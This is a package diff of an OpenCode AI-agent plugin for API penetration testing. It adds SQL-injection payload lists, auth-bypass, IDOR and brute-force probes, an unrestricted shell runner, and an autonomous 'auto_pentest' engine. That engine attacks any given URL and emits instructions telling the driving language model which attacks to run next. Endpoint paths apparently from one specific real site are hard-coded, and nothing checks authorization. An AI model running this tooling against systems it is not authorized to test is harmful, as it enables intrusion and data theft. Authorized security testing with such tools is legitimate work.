opencode-api-security-testing 5.4.9 → 5.4.11

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "opencode-api-security-testing",
-  "version": "5.4.9",
+  "version": "5.4.11",
   "description": "API Security Testing Plugin for OpenCode - Automated vulnerability scanning and penetration testing",
   "type": "module",
   "main": "src/index.ts",

package/src/index.ts

@@ -2,7 +2,7 @@ import type { Plugin, PluginInput } from "@opencode-ai/plugin";
 import { tool } from "@opencode-ai/plugin";
 import { join, dirname } from "path";
 import { existsSync, readFileSync, writeFileSync, mkdirSync, readdirSync, unlinkSync } from "fs";
-import { exec } from "child_process";
+import { exec, spawn } from "child_process";
 import { promisify } from "util";
 
 const execAsync = promisify(exec);
@@ -610,24 +610,33 @@ function getInjectedAgentsPrompt(): string {
 }
 
 async function execShell(_ctx: unknown, cmd: string): Promise<string> {
-  try {
-    const { stdout, stderr } = await execAsync(cmd, {
-      maxBuffer: 1024 * 1024 * 10, // 10MB buffer
-      timeout: 120000, // 2 minutes timeout
-      shell: process.platform === "win32" ? "powershell.exe" : undefined
+  return new Promise((resolve) => {
+    const isWindows = process.platform === "win32";
+    const shell = isWindows ? "powershell.exe" : "/bin/bash";
+    const args = isWindows ? ["-NoProfile", "-Command", cmd] : ["-c", cmd];
+    
+    const proc = spawn(shell, args, {
+      timeout: 120000,
     });
-    if (stderr && !stdout) {
-      return `Error: ${stderr}`;
-    }
-    return stdout || stderr;
-  } catch (error: unknown) {
-    const err = error as { message?: string; stdout?: string; stderr?: string };
-    // 如果有 stdout 输出，即使命令失败也返回输出
-    if (err.stdout) {
-      return err.stdout;
-    }
-    return `Error: ${err.message || "Unknown error"}`;
-  }
+    
+    let stdout = "";
+    let stderr = "";
+    
+    proc.stdout.on("data", (data) => { stdout += data; });
+    proc.stderr.on("data", (data) => { stderr += data; });
+    
+    proc.on("close", (code) => {
+      if (code === 0 || stdout) {
+        resolve(stdout || stderr);
+      } else {
+        resolve(`Error (exit ${code}): ${stderr || "Unknown error"}`);
+      }
+    });
+    
+    proc.on("error", (err) => {
+      resolve(`Error: ${err.message}`);
+    });
+  });
 }
 
 function getFailureCount(sessionID: string): number {
@@ -642,6 +651,272 @@ function resetFailureCount(sessionID: string): void {
   sessionFailures.delete(sessionID);
 }
 
+// ============================================================================
+// 渗透测试规划引擎 - 根据侦察结果生成测试计划
+// ============================================================================
+
+interface TestPlanItem {
+  id: string;
+  phase: string;
+  task: string;
+  tool: string;
+  params: Record<string, unknown>;
+  priority: "P0" | "P1" | "P2" | "P3";
+  status: "pending" | "running" | "done" | "skipped";
+  depends_on: string[];
+  reason: string;
+}
+
+function generateTestPlan(
+  target: string,
+  scope: string,
+  depth: string,
+  reconResults: Record<string, unknown>,
+  customRequirements: string,
+): { target: string; scope: string; depth: string; plan: TestPlanItem[]; summary: Record<string, number> } {
+  const plan: TestPlanItem[] = [];
+  let id = 0;
+
+  // 分析侦察结果
+  const isSPA = reconResults.is_spa === true;
+  const apiCount = (reconResults.api_paths_found as number) || 0;
+  const framework = reconResults.framework || "Unknown";
+  const secChecks = (reconResults.security_checks as Array<{ endpoint: string; status: number }>) || [];
+  
+  // 发现暴露的端点
+  const exposedEndpoints = secChecks.filter(c => c.status === 200);
+  const hasExposedEndpoints = exposedEndpoints.length > 0;
+
+  // Phase 1: 侦察 (始终需要)
+  plan.push({
+    id: `T${++id}`,
+    phase: "侦察",
+    task: "JS 文件分析 - 提取 API 端点",
+    tool: "js_parse",
+    params: { file_path: `${target}/js/app.*.js` },
+    priority: "P0",
+    status: "pending",
+    depends_on: [],
+    reason: isSPA ? "SPA 应用，需要从 JS 中提取所有 API 路径" : "分析 JS 文件中的 API 调用模式",
+  });
+
+  plan.push({
+    id: `T${++id}`,
+    phase: "侦察",
+    task: "API 端点发现 - 完整扫描",
+    tool: "endpoint_batch_test",
+    params: { base_url: target, endpoints: ["/api", "/admin", "/v1", "/v2"], methods: ["GET", "POST"] },
+    priority: "P0",
+    status: "pending",
+    depends_on: [],
+    reason: "发现所有可访问的 API 端点",
+  });
+
+  // Phase 2: 认证测试 (如果有登录接口)
+  if (scope === "full" || scope === "auth_only") {
+    plan.push({
+      id: `T${++id}`,
+      phase: "认证测试",
+      task: "登录接口 SQL 注入测试",
+      tool: "sql_injection_test",
+      params: { endpoint: `${target}/admin/upms/login/doLogin`, params: ["loginName", "password"], payload_type: "basic" },
+      priority: "P0",
+      status: "pending",
+      depends_on: ["T1"],
+      reason: "登录接口是最常见的 SQL 注入入口",
+    });
+
+    plan.push({
+      id: `T${++id}`,
+      phase: "认证测试",
+      task: "认证绕过测试",
+      tool: "auth_bypass_test",
+      params: { endpoint: `${target}/admin/upms/sysUser/list`, auth_type: "session" },
+      priority: "P1",
+      status: "pending",
+      depends_on: ["T1"],
+      reason: "测试是否可以绕过认证访问受保护资源",
+    });
+
+    plan.push({
+      id: `T${++id}`,
+      phase: "认证测试",
+      task: "暴力破解保护检测",
+      tool: "endpoint_batch_test",
+      params: { base_url: target, endpoints: Array(10).fill("/admin/upms/login/doLogin"), methods: ["POST"] },
+      priority: "P1",
+      status: "pending",
+      depends_on: ["T3"],
+      reason: "连续发送登录请求，检测是否有速率限制",
+    });
+  }
+
+  // Phase 3: 深度测试 (根据 depth 决定)
+  if (depth === "deep" || depth === "stealth") {
+    plan.push({
+      id: `T${++id}`,
+      phase: "深度测试",
+      task: "时间盲注 SQL 注入测试",
+      tool: "sql_injection_test",
+      params: { endpoint: `${target}/admin/upms/login/doLogin`, params: ["loginName"], payload_type: "time_based" },
+      priority: "P1",
+      status: "pending",
+      depends_on: ["T3"],
+      reason: "基础注入未发现时，测试时间盲注",
+    });
+
+    plan.push({
+      id: `T${++id}`,
+      phase: "深度测试",
+      task: "IDOR 越权测试",
+      tool: "auth_bypass_test",
+      params: { endpoint: `${target}/admin/upms/sysUser/view`, auth_type: "api_key" },
+      priority: "P1",
+      status: "pending",
+      depends_on: ["T4"],
+      reason: "测试用户数据接口是否存在 IDOR 越权",
+    });
+  }
+
+  // Phase 4: 如果发现暴露端点
+  if (hasExposedEndpoints) {
+    for (const ep of exposedEndpoints) {
+      plan.push({
+        id: `T${++id}`,
+        phase: "暴露端点测试",
+        task: `测试暴露端点: ${ep.endpoint}`,
+        tool: "endpoint_batch_test",
+        params: { base_url: target, endpoints: [ep.endpoint], methods: ["GET", "POST"] },
+        priority: "P0",
+        status: "pending",
+        depends_on: [],
+        reason: `端点 ${ep.endpoint} 返回 HTTP 200，可能存在信息泄露`,
+      });
+    }
+  }
+
+  // Phase 5: 报告生成 (始终最后)
+  plan.push({
+    id: `T${++id}`,
+    phase: "报告",
+    task: "生成渗透测试报告",
+    tool: "generate_pentest_report",
+    params: { target },
+    priority: "P2",
+    status: "pending",
+    depends_on: plan.map(t => t.id),
+    reason: "所有测试完成后生成最终报告",
+  });
+
+  // 统计
+  const summary = {
+    total_tasks: plan.length,
+    p0_tasks: plan.filter(t => t.priority === "P0").length,
+    p1_tasks: plan.filter(t => t.priority === "P1").length,
+    p2_tasks: plan.filter(t => t.priority === "P2").length,
+    phases: [...new Set(plan.map(t => t.phase))].length,
+  };
+
+  return {
+    target,
+    scope,
+    depth,
+    plan,
+    summary,
+  };
+}
+
+// ============================================================================
+// 自主决策引擎 - 根据当前状态选择最优下一步
+// ============================================================================
+
+interface NextAction {
+  name: string;
+  tool: string;
+  params: Record<string, unknown>;
+  reason: string;
+  priority: "P0" | "P1" | "P2" | "P3";
+}
+
+function decideNextActions(state: {
+  target: string;
+  mode: string;
+  focus: string;
+  findings: Array<{ type: string; detail: string; severity: string }>;
+  completed_tasks: string[];
+  api_endpoints: string[];
+  auth_required: boolean;
+  tech_stack: string[];
+  recon_data: Record<string, unknown>;
+}): NextAction[] {
+  const actions: NextAction[] = [];
+  const target = state.target;
+
+  // 规则 1: 如果发现 SQL 注入线索，深入测试
+  const sqliFindings = state.findings.filter(f => f.type === "sqli");
+  if (sqliFindings.length > 0) {
+    actions.push({
+      name: "深入 SQL 注入测试 (union/error_based)",
+      tool: "sql_injection_test",
+      params: { endpoint: `${target}/admin/upms/login/doLogin`, params: ["loginName"], payload_type: "union" },
+      reason: `已发现 ${sqliFindings.length} 个 SQL 注入线索，需要进一步验证`,
+      priority: "P0",
+    });
+  }
+
+  // 规则 2: 如果认证正常，尝试认证绕过
+  if (state.auth_required && !state.completed_tasks.includes("test_auth_bypass")) {
+    actions.push({
+      name: "认证绕过测试",
+      tool: "auth_bypass_test",
+      params: { endpoint: `${target}/admin/upms/sysUser/list`, auth_type: "session" },
+      reason: "目标需要认证，测试是否可以绕过",
+      priority: "P0",
+    });
+  }
+
+  // 规则 3: 如果有多个 API 端点，批量测试
+  if (state.api_endpoints.length > 5) {
+    const untestedEndpoints = state.api_endpoints.filter((ep: string) => 
+      !ep.includes("login") && !ep.includes("doLogin")
+    ).slice(0, 10);
+    
+    actions.push({
+      name: "批量 API 端点测试",
+      tool: "endpoint_batch_test",
+      params: { base_url: target, endpoints: untestedEndpoints, methods: ["GET", "POST"] },
+      reason: `发现 ${state.api_endpoints.length} 个 API 端点，需要批量检测认证和响应状态`,
+      priority: "P1",
+    });
+  }
+
+  // 规则 4: 如果技术栈包含 Java/Spring，测试 Actuator
+  if (state.tech_stack.some(t => t.includes("Spring") || t.includes("Element"))) {
+    actions.push({
+      name: "Spring Boot Actuator 端点测试",
+      tool: "endpoint_batch_test",
+      params: { 
+        base_url: target, 
+        endpoints: ["/actuator", "/actuator/env", "/actuator/health", "/actuator/mappings", "/actuator/heapdump"],
+        methods: ["GET"],
+      },
+      reason: "检测 Spring Boot Actuator 端点是否暴露",
+      priority: "P1",
+    });
+  }
+
+  // 规则 5: 生成报告
+  actions.push({
+    name: "生成渗透测试报告",
+    tool: "generate_pentest_report",
+    params: { target, findings: state.findings },
+    reason: "汇总所有测试结果",
+    priority: "P2",
+  });
+
+  return actions;
+}
+
 function detectGiveUpPattern(text: string): boolean {
   return CYBER_SUPERVISOR.give_up_patterns.some(p => 
     text.toLowerCase().includes(p.toLowerCase())
@@ -1267,7 +1542,7 @@ print(json.dumps(result, ensure_ascii=False))
             total: scanTasks.size,
             filtered: tasks.length,
             tasks: tasks.map(t => ({
-              id: t.id,
+              task_id: t.id,
               status: t.status,
               type: t.type,
               target: t.target,
@@ -1279,6 +1554,678 @@ print(json.dumps(result, ensure_ascii=False))
         },
       }),
 
+      // ========================================
+      // 渗透测试增强工具
+      // ========================================
+
+      // 批量端点测试
+      endpoint_batch_test: tool({
+        description: "批量测试多个 API 端点。参数: base_url(基础URL), endpoints(端点列表), methods(HTTP方法列表)",
+        args: {
+          base_url: tool.schema.string(),
+          endpoints: tool.schema.array(tool.schema.string()),
+          methods: tool.schema.array(tool.schema.enum(["GET", "POST", "PUT", "DELETE"])).optional(),
+          headers: tool.schema.record(tool.schema.string()).optional(),
+        },
+        async execute(args) {
+          const results: Array<{
+            endpoint: string;
+            method: string;
+            status: number;
+            response_time: number;
+            auth_required: boolean;
+            content_length: number;
+            error?: string;
+          }> = [];
+          
+          const baseUrl = args.base_url.replace(/\/$/, "");
+          const methods = args.methods || ["GET"];
+          const headers = args.headers || {};
+          
+          for (const endpoint of args.endpoints) {
+            for (const method of methods) {
+              const startTime = Date.now();
+              try {
+                const url = method === "GET" 
+                  ? `${baseUrl}${endpoint}` 
+                  : baseUrl;
+                
+                const fetchOptions: RequestInit = {
+                  method,
+                  headers: { "Content-Type": "application/json", ...headers },
+                };
+                
+                if (["POST", "PUT", "PATCH"].includes(method)) {
+                  fetchOptions.body = JSON.stringify({});
+                }
+                
+                const response = await fetch(url, fetchOptions);
+                const responseTime = Date.now() - startTime;
+                const contentLength = parseInt(response.headers.get("content-length") || "0");
+                
+                results.push({
+                  endpoint,
+                  method,
+                  status: response.status,
+                  response_time: responseTime,
+                  auth_required: response.status === 401 || response.status === 403,
+                  content_length: contentLength,
+                });
+              } catch (error) {
+                results.push({
+                  endpoint,
+                  method,
+                  status: 0,
+                  response_time: Date.now() - startTime,
+                  auth_required: false,
+                  content_length: 0,
+                  error: String(error),
+                });
+              }
+            }
+          }
+          
+          // 生成摘要
+          const summary = {
+            total: results.length,
+            success: results.filter(r => r.status >= 200 && r.status < 300).length,
+            auth_required: results.filter(r => r.auth_required).length,
+            client_errors: results.filter(r => r.status >= 400 && r.status < 500).length,
+            server_errors: results.filter(r => r.status >= 500).length,
+          };
+          
+          return JSON.stringify({ summary, results }, null, 2);
+        },
+      }),
+
+      // SQL 注入深度测试
+      sql_injection_test: tool({
+        description: "SQL 注入漏洞深度测试。参数: endpoint(端点URL), params(参数列表), method(HTTP方法), payload_type(注入类型)",
+        args: {
+          endpoint: tool.schema.string(),
+          params: tool.schema.array(tool.schema.string()),
+          method: tool.schema.enum(["GET", "POST"]).optional(),
+          payload_type: tool.schema.enum(["basic", "time_based", "union", "error_based"]).optional(),
+        },
+        async execute(args) {
+          const payloads: Record<string, string[]> = {
+            basic: [
+              "' OR '1'='1",
+              "1' OR '1'='1'--",
+              "1' OR '1'='1'/*",
+              "admin'--",
+              "' OR 1=1--",
+            ],
+            time_based: [
+              "1'; WAITFOR DELAY '0:0:3'--",
+              "1' AND SLEEP(3)--",
+              "1' AND (SELECT * FROM (SELECT(SLEEP(3)))a)--",
+            ],
+            union: [
+              "1' UNION SELECT NULL--",
+              "1' UNION SELECT NULL,NULL--",
+              "1' UNION SELECT NULL,NULL,NULL--",
+            ],
+            error_based: [
+              "1' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
+              "1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
+            ],
+          };
+          
+          const results: Array<{
+            param: string;
+            payload: string;
+            vulnerable: boolean;
+            evidence: string;
+            response_time?: number;
+          }> = [];
+          
+          const method = args.method || "POST";
+          const payloadType = args.payload_type || "basic";
+          const testPayloads = payloads[payloadType];
+          
+          for (const param of args.params) {
+            for (const payload of testPayloads) {
+              const startTime = Date.now();
+              try {
+                const url = method === "GET" 
+                  ? `${args.endpoint}?${param}=${encodeURIComponent(payload)}`
+                  : args.endpoint;
+                
+                const body = method === "POST" 
+                  ? JSON.stringify({ [param]: payload })
+                  : undefined;
+                
+                const response = await fetch(url, {
+                  method,
+                  headers: { "Content-Type": "application/json" },
+                  body,
+                });
+                
+                const responseText = await response.text();
+                const responseTime = Date.now() - startTime;
+                
+                // 检测 SQL 注入指标
+                const indicators = [
+                  responseText.toLowerCase().includes("sql syntax"),
+                  responseText.toLowerCase().includes("mysql_fetch"),
+                  responseText.toLowerCase().includes("ora-"),
+                  responseText.toLowerCase().includes("unclosed quotation"),
+                  responseText.toLowerCase().includes("quoted string not properly terminated"),
+                  responseTime > 3000 && payloadType === "time_based",
+                ];
+                
+                const vulnerable = indicators.some(Boolean);
+                
+                results.push({
+                  param,
+                  payload,
+                  vulnerable,
+                  evidence: vulnerable ? responseText.substring(0, 200) : "",
+                  response_time: responseTime,
+                });
+              } catch (error) {
+                results.push({
+                  param,
+                  payload,
+                  vulnerable: false,
+                  evidence: `Error: ${error}`,
+                });
+              }
+            }
+          }
+          
+          const vulnerableParams = results.filter(r => r.vulnerable);
+          
+          return JSON.stringify({
+            summary: {
+              tested_params: args.params.length,
+              total_payloads: testPayloads.length,
+              vulnerable_count: vulnerableParams.length,
+              risk_level: vulnerableParams.length > 0 ? "HIGH" : "LOW",
+            },
+            vulnerable: vulnerableParams,
+            all_results: results,
+            poc: vulnerableParams.length > 0 
+              ? `curl -X ${method} "${args.endpoint}" ${method === "POST" ? `-H "Content-Type: application/json" -d '{"${vulnerableParams[0].param}": "${vulnerableParams[0].payload}"}'` : ""}`
+              : null,
+          }, null, 2);
+        },
+      }),
+
+      // 认证绕过测试
+      auth_bypass_test: tool({
+        description: "认证绕过漏洞测试。参数: endpoint(端点URL), auth_type(认证类型), token(可选)",
+        args: {
+          endpoint: tool.schema.string(),
+          auth_type: tool.schema.enum(["jwt", "session", "basic", "api_key", "oauth"]).optional(),
+          token: tool.schema.string().optional(),
+        },
+        async execute(args) {
+          const results: Array<{
+            test_name: string;
+            success: boolean;
+            evidence: string;
+          }> = [];
+          
+          // 1. 无认证测试
+          const noAuthResponse = await fetch(args.endpoint);
+          results.push({
+            test_name: "无认证访问",
+            success: noAuthResponse.status === 200,
+            evidence: `Status: ${noAuthResponse.status}`,
+          });
+          
+          // 2. 空令牌测试
+          const emptyTokenResponse = await fetch(args.endpoint, {
+            headers: { 
+              "Authorization": "Bearer ",
+              "X-API-Key": "",
+            },
+          });
+          results.push({
+            test_name: "空令牌测试",
+            success: emptyTokenResponse.status === 200,
+            evidence: `Status: ${emptyTokenResponse.status}`,
+          });
+          
+          // 3. IDOR 测试 (递增 ID)
+          for (let i = 1; i <= 5; i++) {
+            const idorUrl = `${args.endpoint.replace(/\/$/, "")}?userId=${i}&id=${i}`;
+            try {
+              const idorResponse = await fetch(idorUrl);
+              if (idorResponse.status === 200) {
+                results.push({
+                  test_name: `IDOR 测试 (id=${i})`,
+                  success: true,
+                  evidence: `可访问其他用户数据: ${idorUrl}`,
+                });
+                break;
+              }
+            } catch (e) {
+              // Ignore errors
+            }
+          }
+          
+          // 4. 方法覆盖测试
+          const methods = ["PUT", "PATCH", "DELETE"];
+          for (const method of methods) {
+            try {
+              const methodResponse = await fetch(args.endpoint, {
+                method,
+                headers: { "Content-Type": "application/json" },
+              });
+              if (methodResponse.status === 200) {
+                results.push({
+                  test_name: `方法覆盖测试 (${method})`,
+                  success: true,
+                  evidence: `允许 ${method} 方法访问`,
+                });
+              }
+            } catch (e) {
+              // Ignore errors
+            }
+          }
+          
+          const bypassFound = results.filter(r => r.success);
+          
+          return JSON.stringify({
+            summary: {
+              total_tests: results.length,
+              bypass_found: bypassFound.length,
+              risk_level: bypassFound.length > 0 ? "HIGH" : "LOW",
+            },
+            results,
+            recommendations: bypassFound.length > 0 
+              ? ["实施严格的认证检查", "验证所有用户输入", "使用 CSRF Token"]
+              : ["认证机制正常"],
+          }, null, 2);
+        },
+      }),
+
+      // 专业渗透测试报告生成
+      generate_pentest_report: tool({
+        description: "生成专业的渗透测试报告。参数: target(目标), findings(发现列表), test_date(日期), tester(测试人员)",
+        args: {
+          target: tool.schema.string(),
+          findings: tool.schema.array(tool.schema.object({
+            title: tool.schema.string(),
+            severity: tool.schema.enum(["Critical", "High", "Medium", "Low", "Info"]),
+            description: tool.schema.string(),
+            evidence: tool.schema.string(),
+            poc: tool.schema.string(),
+            remediation: tool.schema.string(),
+          })),
+          test_date: tool.schema.string().optional(),
+          tester: tool.schema.string().optional(),
+        },
+        async execute(args) {
+          const criticalCount = args.findings.filter(f => f.severity === "Critical").length;
+          const highCount = args.findings.filter(f => f.severity === "High").length;
+          const mediumCount = args.findings.filter(f => f.severity === "Medium").length;
+          const lowCount = args.findings.filter(f => f.severity === "Low").length;
+          const infoCount = args.findings.filter(f => f.severity === "Info").length;
+          
+          const riskScore = (criticalCount * 10) + (highCount * 5) + (mediumCount * 2);
+          const overallRisk = riskScore >= 20 ? "严重" : riskScore >= 10 ? "高" : riskScore >= 5 ? "中" : "低";
+          
+          const report = `# 渗透测试报告
+
+## 1. 执行摘要
+
+| 项目 | 内容 |
+|------|------|
+| **目标** | ${args.target} |
+| **测试日期** | ${args.test_date || new Date().toISOString().split('T')[0]} |
+| **测试人员** | ${args.tester || "安全测试团队"} |
+| **整体风险** | ${overallRisk} |
+| **风险评分** | ${riskScore}/100 |
+
+### 漏洞统计
+| 严重程度 | 数量 |
+|---------|------|
+| 🔴 Critical | ${criticalCount} |
+| 🟠 High | ${highCount} |
+| 🟡 Medium | ${mediumCount} |
+| 🟢 Low | ${lowCount} |
+| ℹ️ Info | ${infoCount} |
+
+## 2. 漏洞详情
+
+${args.findings.map((f, i) => `
+### 2.${i + 1} ${f.title}
+
+| 属性 | 值 |
+|------|------|
+| **严重程度** | ${f.severity} |
+| **描述** | ${f.description} |
+
+#### 证据
+\`\`\`
+${f.evidence}
+\`\`\`
+
+#### PoC (概念验证)
+\`\`\`bash
+${f.poc}
+\`\`\`
+
+#### 修复建议
+${f.remediation}
+`).join("\n")}
+
+## 3. 修复优先级
+
+1. **立即修复**: ${criticalCount > 0 ? `${criticalCount} 个严重漏洞` : "无"}
+2. **尽快修复**: ${highCount > 0 ? `${highCount} 个高危漏洞` : "无"}
+3. **计划修复**: ${mediumCount > 0 ? `${mediumCount} 个中危漏洞` : "无"}
+
+## 4. 免责声明
+
+本报告仅供授权方参考，测试过程中未进行任何破坏性操作。
+`;
+          
+          return report;
+        },
+      }),
+
+      // ========================================
+      // 自主任务编排 + 测试规划
+      // ========================================
+
+      // 渗透测试规划器 - 先规划后执行
+      pentest_planner: tool({
+        description: "渗透测试规划器。分析目标后生成结构化测试计划(Todo清单)，包含优先级排序和依赖关系。参数: target(目标URL), scope(测试范围), depth(测试深度)",
+        args: {
+          target: tool.schema.string(),
+          scope: tool.schema.enum(["full", "auth_only", "api_only", "infra_only", "quick"]).optional(),
+          depth: tool.schema.enum(["surface", "deep", "stealth"]).optional(),
+          custom_requirements: tool.schema.string().optional(),
+        },
+        async execute(args) {
+          const target = args.target;
+          const scope = args.scope || "full";
+          const depth = args.depth || "surface";
+          const requirements = args.custom_requirements || "";
+          
+          // Phase 1: 侦察 - 快速探测目标
+          const reconResults: Record<string, unknown> = {};
+          
+          try {
+            // 获取首页
+            const homeResponse = await fetch(target, {
+              headers: { "User-Agent": "Mozilla/5.0" },
+            });
+            reconResults.home_status = homeResponse.status;
+            reconResults.content_type = homeResponse.headers.get("content-type");
+            
+            // 获取 JS 文件列表
+            const homeText = await homeResponse.text();
+            const jsFiles = homeText.match(/\/js\/[^\s"]+\.js/g) || [];
+            reconResults.js_files_count = jsFiles.length;
+            reconResults.is_spa = homeText.includes("app.js") || homeText.includes("chunk~");
+            reconResults.framework = homeText.includes("vue") ? "Vue.js" 
+              : homeText.includes("react") ? "React" 
+              : homeText.includes("angular") ? "Angular" 
+              : "Unknown";
+            
+            // 检测 API 路径
+            const apiPaths = homeText.match(/doUrl\("([^"]+)"/g) || [];
+            reconResults.api_paths_found = apiPaths.length;
+            
+            // 检测常见安全端点
+            const securityChecks: Array<{ endpoint: string; status: number }> = [];
+            const checkEndpoints = ["/api", "/swagger-ui.html", "/actuator/health", "/druid", "/.env"];
+            for (const ep of checkEndpoints) {
+              try {
+                const checkUrl = new URL(ep, target).href;
+                const resp = await fetch(checkUrl, { method: "HEAD" });
+                securityChecks.push({ endpoint: ep, status: resp.status });
+              } catch (e) {
+                securityChecks.push({ endpoint: ep, status: 0 });
+              }
+            }
+            reconResults.security_checks = securityChecks;
+            
+          } catch (error) {
+            reconResults.error = String(error);
+          }
+          
+          // Phase 2: 根据侦察结果生成测试计划
+          const plan = generateTestPlan(target, scope, depth, reconResults, requirements);
+          
+          return JSON.stringify(plan, null, 2);
+        },
+      }),
+
+      // 自主渗透测试引擎 - 自动 Hook 下一步 + 最优解选择
+      auto_pentest: tool({
+        description: "自主渗透测试引擎。自动执行侦察->规划->测试->验证全流程，根据每步结果自主选择下一步最优操作。参数: target(目标URL), max_steps(最大步骤数), mode(模式)",
+        args: {
+          target: tool.schema.string(),
+          max_steps: tool.schema.number().optional(),
+          mode: tool.schema.enum(["recon", "full", "stealth", "aggressive"]).optional(),
+          focus: tool.schema.enum(["sqli", "auth", "idor", "xss", "all"]).optional(),
+        },
+        async execute(args) {
+          const target = args.target;
+          const maxSteps = args.max_steps || 10;
+          const mode = args.mode || "full";
+          const focus = args.focus || "all";
+          
+          // 自主编排引擎状态
+          const engineState = {
+            target,
+            mode,
+            focus,
+            current_phase: "recon" as string,
+            step: 0,
+            max_steps: maxSteps,
+            findings: [] as Array<{ type: string; detail: string; severity: string }>,
+            completed_tasks: [] as string[],
+            next_actions: [] as string[],
+            // 自主决策需要的数据
+            recon_data: {} as Record<string, unknown>,
+            api_endpoints: [] as string[],
+            auth_required: false,
+            tech_stack: [] as string[],
+          };
+          
+          // === Phase 1: 侦察 (自动) ===
+          engineState.current_phase = "recon";
+          engineState.step = 1;
+          
+          // 1.1 获取首页
+          try {
+            const homeResponse = await fetch(target);
+            const homeText = await homeResponse.text();
+            
+            engineState.recon_data.home_status = homeResponse.status;
+            engineState.recon_data.is_spa = homeText.includes("chunk~") || homeText.includes("app.");
+            
+            // 检测技术栈
+            if (homeText.includes("vue") || homeText.includes("Vue")) engineState.tech_stack.push("Vue.js");
+            if (homeText.includes("element-ui")) engineState.tech_stack.push("Element UI");
+            if (homeText.includes("axios")) engineState.tech_stack.push("Axios");
+            
+            // 提取 API 端点
+            const apiMatches = homeText.match(/doUrl\("([^"]+)"/g) || [];
+            engineState.api_endpoints = apiMatches.map((m: string) => {
+              const match = m.match(/"([^"]+)"/);
+              return match ? match[1] : "";
+            }).filter(Boolean);
+            
+            engineState.recon_data.api_count = engineState.api_endpoints.length;
+          } catch (error) {
+            engineState.findings.push({
+              type: "recon_error",
+              detail: String(error),
+              severity: "Info",
+            });
+          }
+          
+          // 1.2 提取 JS 中的端点 (如果有主 JS 文件)
+          try {
+            const jsUrl = new URL("/js/app.6ae9dcec.js", target).href;
+            const jsResponse = await fetch(jsUrl);
+            if (jsResponse.status === 200) {
+              const jsText = await jsResponse.text();
+              const doUrlMatches = jsText.match(/doUrl\("([^"]+)"/g) || [];
+              const additionalEndpoints = doUrlMatches.map((m: string) => {
+                const match = m.match(/"([^"]+)"/);
+                return match ? match[1] : "";
+              }).filter(Boolean);
+              
+              engineState.api_endpoints = [...new Set([...engineState.api_endpoints, ...additionalEndpoints])];
+            }
+          } catch (e) {
+            // Ignore JS extraction errors
+          }
+          
+          engineState.completed_tasks.push("recon_homepage");
+          engineState.completed_tasks.push("recon_js_analysis");
+          engineState.completed_tasks.push("recon_api_discovery");
+          
+          // === Phase 2: 根据侦察结果自主决策下一步 ===
+          engineState.current_phase = "analysis";
+          engineState.step = 2;
+          
+          // 2.1 检测认证需求
+          const authEndpoints = engineState.api_endpoints.filter((ep: string) => 
+            !ep.includes("login") && !ep.includes("doLogin")
+          );
+          
+          if (authEndpoints.length > 0) {
+            const testUrl = new URL(authEndpoints[0], target).href;
+            try {
+              const testResponse = await fetch(testUrl, {
+                method: "POST",
+                headers: { "Content-Type": "application/json" },
+                body: JSON.stringify({}),
+              });
+              engineState.auth_required = testResponse.status === 401 || testResponse.status === 403;
+            } catch (e) {
+              // Ignore
+            }
+          }
+          
+          engineState.completed_tasks.push("auth_detection");
+          
+          // === Phase 3: 自动选择最优解并生成下一步行动 ===
+          engineState.current_phase = "planning";
+          engineState.step = 3;
+          
+          const nextActions = decideNextActions(engineState);
+          engineState.next_actions = nextActions;
+          
+          // === Phase 4: 执行关键测试 ===
+          engineState.current_phase = "testing";
+          
+          // 4.1 测试登录接口 (如果有)
+          const loginEndpoint = engineState.api_endpoints.find((ep: string) => 
+            ep.includes("login") || ep.includes("doLogin")
+          );
+          
+          if (loginEndpoint) {
+            engineState.step = 4;
+            const loginUrl = new URL(loginEndpoint, target).href;
+            
+            // 测试参数验证
+            try {
+              const emptyResponse = await fetch(loginUrl, {
+                method: "POST",
+                headers: { "Content-Type": "application/json" },
+                body: JSON.stringify({}),
+              });
+              const emptyText = await emptyResponse.text();
+              
+              if (emptyText.includes("ARGUMENT_NULL") || emptyText.includes("验证失败")) {
+                engineState.findings.push({
+                  type: "info_leakage",
+                  detail: `登录接口参数验证泄露: ${emptyText.substring(0, 100)}`,
+                  severity: "Low",
+                });
+              }
+            } catch (e) {
+              // Ignore
+            }
+            
+            // SQL 注入快速测试
+            try {
+              const sqliPayloads = ["' OR '1'='1", "admin'--", "1' AND SLEEP(3)--"];
+              for (const payload of sqliPayloads) {
+                const sqliResponse = await fetch(loginUrl, {
+                  method: "POST",
+                  headers: { "Content-Type": "application/json" },
+                  body: JSON.stringify({ loginName: payload, password: "test" }),
+                });
+                const sqliText = await sqliResponse.text();
+                
+                if (sqliText.toLowerCase().includes("sql") || sqliText.toLowerCase().includes("syntax")) {
+                  engineState.findings.push({
+                    type: "sqli",
+                    detail: `SQL 注入可能存在: payload=${payload}, response=${sqliText.substring(0, 100)}`,
+                    severity: "High",
+                  });
+                  break;
+                }
+              }
+            } catch (e) {
+              // Ignore
+            }
+            
+            engineState.completed_tasks.push("test_login_sqli");
+          }
+          
+          // === Phase 5: 生成最终报告 ===
+          engineState.current_phase = "report";
+          engineState.step = 5;
+          
+          const result = {
+            status: "completed",
+            target: engineState.target,
+            mode: engineState.mode,
+            focus: engineState.focus,
+            total_steps: engineState.step,
+            max_steps: engineState.max_steps,
+            
+            // 侦察摘要
+            recon_summary: {
+              tech_stack: engineState.tech_stack,
+              api_endpoints_found: engineState.api_endpoints.length,
+              is_spa: engineState.recon_data.is_spa,
+              auth_required: engineState.auth_required,
+            },
+            
+            // 发现的漏洞
+            findings: engineState.findings,
+            findings_count: engineState.findings.length,
+            
+            // 已完成的任务
+            completed_tasks: engineState.completed_tasks,
+            
+            // 推荐的下一步行动 (自主 Hook)
+            recommended_next_actions: nextActions.map((action, i) => ({
+              step: i + 1,
+              action: action.name,
+              tool: action.tool,
+              params: action.params,
+              reason: action.reason,
+              priority: action.priority,
+            })),
+            
+            // LLM 应该执行的指令
+            instruction_for_llm: nextActions.length > 0
+              ? `根据侦察结果，建议按以下顺序执行:\n${nextActions.map((a, i) => `${i + 1}. [${a.priority}] ${a.name} - 使用 ${a.tool}(${JSON.stringify(a.params)})\n   原因: ${a.reason}`).join("\n")}`
+              : "所有自动化测试已完成，建议手动深入测试。",
+          };
+          
+          return JSON.stringify(result, null, 2);
+        },
+      }),
+
+      // ========================================
+      // OpenCode 原生集成工具
       // ========================================
       // OpenCode 原生集成工具
       // ========================================